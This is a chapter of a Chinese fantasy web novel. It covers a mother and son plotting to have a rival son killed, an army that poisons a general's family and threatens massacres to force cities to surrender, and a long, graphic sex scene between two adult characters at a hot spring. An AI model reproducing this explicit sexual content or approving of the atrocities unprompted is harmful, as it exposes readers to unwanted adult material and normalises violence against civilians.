“我受不了了,母亲,此事你到底准备瞒到什么时候?”玉九霄旋身在一旁坐下,颇有些灰头土脸的样子。

“他又做了什么?”玉夫人眉眼不抬地问。

“他派人去各门派送钱抚恤死伤之人也就罢了,竟然还四处扬言,说以后武林中的事,我说了不算!以后我还怎么出去见人?”玉九霄握着双拳,气得不轻。

玉夫人终是放下了手中的菊花,在一旁的铜盆中净了净手,在玉九霄对面坐下,端起茶杯,再抬眸,目光已冷黑似铁,道:“不是玉家的种,到底是反骨天成!”

“如今他武林盟主也做了,若是眼下让他知道真相,后果不堪设想。”玉九霄皱着眉烦躁道。

“这怪谁啊?”玉夫人茶杯已递到唇边,闻言复又往桌上一搁,斜眼看着玉九霄道:“平时不可一世,关键时候谁也打不过!”

玉九霄被母亲奚落,一张脸顿时涨成紫黑色,扭过头去不吭声,半晌,道:“现在怎么办吧?按这样发展下去,以后月潇山庄即便不全部被他掌控,你我只怕也没有说话的份了。”

“没有以后。”玉夫人重新端起茶杯,淡淡道。

玉九霄侧脸看她,有些不解。

玉夫人抿了一口茶,道:“帘秋被血影宫捉去几个月,又毫发无伤地回来,我可以断定,当年柳紫纤那个贱人肚子里的孩子就是前任血影宫主叶成梓的,叶千浔这是把帘秋当成他同父异母的妹妹了。既然是这样,我们便可以借叶千浔之手,杀了他。”

玉九霄思索着道:“母亲的意思是,只要我们把帘秋藏起来,再暗地里透消息给血影宫,就说玉无尘把帘秋给暗杀了,并设法让叶千浔相信,叶千浔就会来为妹报仇?”

玉夫人摇头,道:“这只是其中一步,如果叶千浔相信,势必来找玉无尘算账,但,玉无尘未必会和他拼命,所以,你还需找人打伤我,让玉无尘相信,是叶千浔派人打伤了我劫走了帘秋,如此,才有可能让他们殊死一搏。”

玉九霄沉眉想了想,道:“母亲,这里面可有个关键啊,叶千浔放帘秋回来到底是不是因为相信她是他同父异母的妹妹?如果这点弄错了,可就弄巧成拙了。”

玉夫人眉间隐着一丝戾气,道:“不会有错,当年我怀着身子,你父亲将那贱人娶进家门,我暗中调查过她,她以前就是叶成梓的情人,只不过叶成梓家中有妻不肯娶她,所以她一气之下嫁给你父亲,目的就是想报复叶成梓。

我与她生产之日仅仅相差三天,那时你父亲恰好受先帝召见身在帝都,才给了我可乘之机。

我知道你父亲明白那贱人腹中孩子不是他的种,如果是个男孩,贱人已死,他必定会将他摔死或是送人,可那又怎能解我心头之恨?所以,我才大着胆子将帘秋与那贱人之子互换,果不其然,你父亲见是个女孩,便软了心肠。

这些年,看着玉无尘和血影宫斗,我心里真是前所未有的畅快,如果最终结局能让他们兄弟互相残杀两败俱伤,甚至于玉石俱焚,那可真是最完美的结局了。

我就是要让柳紫纤这个贱人,死不瞑目!”

说到后面,她状若疯狂。这个在江湖上备受称赞的贤妻良母,骨子里恶毒得令人发指。

玉九霄看着她,过了好一会儿,玉夫人才压下了激动情绪,恢复了一贯平静温和的神情。

“若是这样,父亲那里……”玉九霄提出了最后一点疑问。

“安排妥当后,可以让你父亲睡上几天,待他醒来一切都成定局,所有事情便都推到叶千浔身上好了。”玉夫人道。

“可父亲一直把他当成亲生儿子,如果就这么死了,父亲能不追根究底?”玉九霄仍有些不放心。

玉夫人抬头看着桌上的菊花,良久,道:“不要将你的父亲想得太单纯。当年他或许真的被糊弄过去了,然而这些年……你以为一直以来,你父亲凭什么亲厚你胜过他?你以为他十岁的时候为何会离家出走?不过是你父亲为你举办了十岁生辰宴,却没有为他举办。不过,谁也没想到,他这一走,倒还闯出了一番天地……这么些年过去了,你父亲对他也有了感情,但这份感情还是不足以与你相比的,所以,尽管去做吧。”

玉九霄侧过脸,的确,玉无尘样样都比他强,却又偏偏是他玉氏死敌的儿子,原来留着他是想用他来对付血影宫,可如今看来,为了秦璃月,他是越来越叛逆了,必须除之而后快。

“此事需要帘秋配合,是否告诉她真相?”玉九霄低着头问。

“该告诉她真相了,这么些年,我听她叫我大娘,早已经听腻了。”

……窗外墙角,一抹黑影听至此处,鬼魅般隐入道旁的树丛中,转瞬不见。

次日一早,玉夫人刚起床,玉九霄又急急找来,开口便道:“帘秋不见了。”

昨夜刚告诉她真相,今天便不见了,她会去哪儿?去找谁?去做什么?

联想一多,玉夫人拍着桌子叫:“那还不赶紧派人去找?她一个不会武功的弱女子,能走多远?快去找啊!”

*

璃月屠城一事极短的时间内便传的西武尽知,百姓战栗军队愤慨,如不采取措施,璃月面对的将会是西武军民比之前猛烈百倍的殊死抗战。

于是,军队还在保义镇的时候,璃月便和苏吟歌带着苏吟歌有史以来研制出的最恶毒最变态的药,去下一个城池——云陵庄,拜访守城将军马元宝全家。

死并不可怕,可怕的是生不如死,尤其是,自己好端端地看着自己的家人生不如死。

几日后,凰城军到了云陵庄外,仍是那句话“投降不杀,否则屠城”。

马元宝率全城将士开门投诚,凰城军笑容满面和蔼可亲地穿过云陵庄,秋毫无犯。

一黑一白两个例子放在那,凡是怕死的都知道该怎么做。

于是乎,凰城军这一路行去,几乎可以说是兵不血刃。偶尔有几个脑子秀逗的将领想要组织抵抗,城内居民早已暴动,凰城军到时,该将领已被五花大绑扔在洞开的城门外。

不用攻城,这一路行来凰城军犹如走马观花,转眼三分之二的路程便抛在了身后。

当一行快要转出胡杨山脉时,皇甫绝那边发来了军令,让他们缓一缓再走。

璃月本也不想与他的主力军争功,他说原地待命,她便令军队原地驻扎,好好休养生息。

与此同时,西武与东仪边境正在上演戏剧性的一幕。

西武皇帝见皇甫绝竟然分化了在通玄关驻守的边防军,实力远在自己想象之上,国内境况不妙,本欲调一部分在东仪边境驻防的边防军回来,谁知西武这边边防军一动,东仪那边便开始骚扰,一回去,东仪军队又自动退回去,如此往复生生不息,全线皆是如此。

最终,皇甫载淳还是没敢冒着内外受敌的危险将东仪国境的边防军调回来,只修书一封给东仪皇帝燕瑝,要求他看在两国多年交好的份上帮助自己平叛。

书信和信使犹如泥牛入海,发出去后便再也没见回转。

*

不同于西武别处的风烟四起刀光剑影,璃月这边可谓风光独好。

闲来无事,璃月便允许凰城军去周边小城喝酒找乐子,交代了三点,第一,不准随便杀人,第二,喝酒玩女人要给钱,第三,每日天黑之前必须回来。有违上述之一者,斩。

话说自上次屠城事件后,璃月与流觞小乖才算真正的冰释前嫌重归于好,失而复得使得两人情烈似火,奈何行军途中多有不便,加之还有苏吟歌这厮在一旁碍眼,于是一直苦苦隐忍。

如今大军驻扎下来,将士们四处玩耍,苏吟歌本也该是个坐不住的人,怎聊貌似做尾巴做上了瘾,璃月到哪他到哪。

虽说他床上功夫的确不错,但……喜新厌旧一词,古而有之,作为色女典范的璃月,又怎能免俗?

于是某日,苏吟歌午憩过后刚刚走出营帐,牛轰带着几个人来找他喝酒聊天,说是为了感谢他一路上对在战争中受伤的兄弟的关照。

苏吟歌眼珠一转便知这群莽夫有此一举定然是受了璃月的指使,目的无外乎将他调开,她和曲流觞能自由活动而已。

虽说早就知道会有这么一天,但在脑海中想象和真实面对却完全是两回事。近来看着璃月趁他不注意就和曲流觞卿卿我我,他心里真是酸甜苦辣咸五味俱全,明知自己该成全,却仍忍不住像狗看肥肉一般看着璃月。

罢了,从头想来分明是曲流觞和她先好上,如说谁先对不起兄弟,也是他先对不起。

想到此处,他欣然答应,去牛轰的营帐与众人一醉方休。

苏吟歌前脚刚走,曲流觞后脚就溜进了璃月的营帐。

两人迫不及待地吻着,换气的间隙,璃月喘息着道:“要是有人进来怎么办?”

曲流觞眸光熠熠,闻言吻了吻她的额头,道:“我听说附近深山里有一处温泉,我们去找找?”

初冬,落叶成金的山林覆着一层薄薄的雪,通透如霜。

两人像是私奔的少男少女,小鹿一般轻盈地追逐,快乐地在荒无人烟的山林间穿行。

奔跑间,本来在前面若隐若现的曲流觞突然不见,璃月狐疑地停下脚步,四顾,不见人影,刚想抬头看看,他就突然从树上扑了下来,一下将璃月压倒在软绵绵的落叶上。

两人拥吻翻滚,落叶沾了一身。

璃月估计曲流觞早就来找过这方温泉了,他们从营地出来,一路都没有绕弯,临近傍晚时来到这片热气腾腾的温泉边上。

温泉不大,大概也就两丈见方的样子,背靠石壁面临山崖,像是一个由石块围成的浴池,泡澡之余还可以赏景,倒是个绝妙的去处。

池水不深,仅到胸部,水温不冷不烫。

璃月泡在池中,白皙双臂搁在池边的岩石上,看着崖下冬景灿烂的山林,夕阳挂在山头,金色的光芒斜斜地将那些树影都映入了画中。

“好美啊!”她赞叹。

曲流觞站在她身后,看着她黑发披散下曲线曼妙的脊背,也想这样感叹一句。

水珠沿着那玉石一般的肌肤诱人地往下滑,阳光在上面激射出七彩的光芒,她光彩熠熠就像一尊镶着宝石的玉人儿。

他莫名地口渴起来,于是轻轻地靠过去,将她背后的长发撩至一侧,吻上她水珠晶莹的肩、颈,脸颊……璃月侧过脸与他接吻,夕阳将拥吻的两人投影在一旁的石壁上,剪影之缠绵美好,难以言述。

几个人中间,要数曲流觞的身材最令璃月想入非非,不是指肌肉的线条,而是说他的肤色。

淡淡的小麦色,被泉水浸湿,再被阳光踱上一层金边,那种属于男人的阳刚诱惑便似从骨子里散发出来,挡都挡不住。

璃月只看一眼,当即化身为狼,抱着他的肩膀从他的喉结处一直啃到他胸上,恶意的含着他胸前的小豆子舌尖打圈。

不想他如此不禁勾引,璃月不过才吮了一下,他便喘息着一把抱起璃月分开她的双腿将自己的身子嵌进去。

也不知是因为水的缘故还是因为这个姿势本身比较艰难,总之他滑来滑去好半晌还找不着北。

璃月抬头,看到他涨红的脸颊以及额上的薄汗,心中暗自揣测:这家伙不会还是第一次吧?

第一次什么的最不好了,像叶千浔皇甫绝,都只知道蛮牛一般横冲直撞,弄得她死去活来的。

当即抵着他的胸从他掌控中挣脱出来,转而拉着他走到池边,她背过身去,双手撑在池边的岩石上,回头媚眼如丝地看他,无言地邀请。

曲流觞看着水中她小蛇一般纤细的腰肢,又被她媚眼一扫,顿时血脉喷张,握着她的腰肢便抵了上去,目标却是□。

璃月被他此举吓得魂飞魄散,也顾不得羞了,伸手向后握住他的那一根制止它胡乱冲撞,本来想牵引他找准目标,可握住的一刹觉得很粗,便下意识地想要知道有多长,结果,小手移动了三次,才勉强碰到根部。

璃月顿时叫苦不迭,说他身高和金缕差不多,想不到这一根的长度也和他差不多,而且,小乖这一根貌似还带点弧度,记得以前在妓院听那些经验老到的妓女们提过这种天生带弧度的最能蹭到女人的敏感点,是男人中可遇不可求的名器。

她到底该说自己的命太好还是命太衰,碰到的男人一个比一个非人类。

她兀自在那磨磨蹭蹭,曲流觞却被她摩弄地欲火中烧,有些急切地小声唤道:“璃月……”语气中求欢意味明显。

都到这步田地了,如果临阵退缩,未免显得太孬了一些。

她心惊胆战地将它抵在自己私密之处,道:“你轻点。”

“哦。好软……”抵进的同时,他语带新奇地叹息道。

璃月咬着唇,感觉自己毫无抵抗能力地被一寸寸撑开,那种感觉,又热又胀又酸又痛,真是该死的难熬。

抵进深处之后,他难耐地喘息着,伸手将璃月前倾的身子拉起,抱在胸前,扳过她的小脸激烈地吻她的唇,下面轻轻地律动起来。

他的胸膛火热地贴在她光裸的背上,并不熟练的抽动带来令人承受不住地酸麻,她双腿酸软,在他怀中敏感地微颤。

璃月的肌肤在水中滑得难以用言语描述,曲流觞拥着她,却觉得她如鱼一般湿滑,怎么用力都不够紧。初次体验的紧致愉悦控制了他一切的思维,他难以自制地吻着怀中带给他极度快感女人。

孟浪的动作激起浪花阵阵,起起伏伏地冲刷着两人的肌肤,正如体内的愉悦起起伏伏地冲刷着两人的神经。

曲流觞呼吸粗重,带着一丝交欢时特有的性感,引得璃月一次次扭过头去与他接吻,借以舒缓体内节节攀升的欢愉。

紧拥着她的臂膀显示出他此刻十分激动,然而他的动作却并不野蛮,璃月喜欢这种慢条斯理带来的细致的水乳交融般的感觉。

她迷蒙着双眸,侧着脸庞控制不住地轻声呻吟,看着石壁上她和曲流觞的影子。

男人的刚健和女人的柔美如此契合地交缠在一起,一眼,便令人砰然心动热血澎湃。

璃月突然痉挛,只因为视觉上的美,竟令她瞬间绽放了一次小小的高潮。

她仰头靠在他肩上,垂死般的急促喘息。曲流觞被她紧缩挤压的动作折磨得欲仙欲死,按着她的小腹一下顶进她的最深处,璃月绷紧了身体,还来不及尖叫,他却身体一僵,毫无征兆却又控制不住地爆发了。

璃月松懈下来,侧过脸看着满面绯红喘息不定的曲流觞。

他闭着双眸,将她用得更紧一些,无意识地吻着她的脸颊,温柔而沉醉。



上一篇[玄幻]后宫好乱(全本)-31下一篇[玄幻]后宫好乱(全本)-33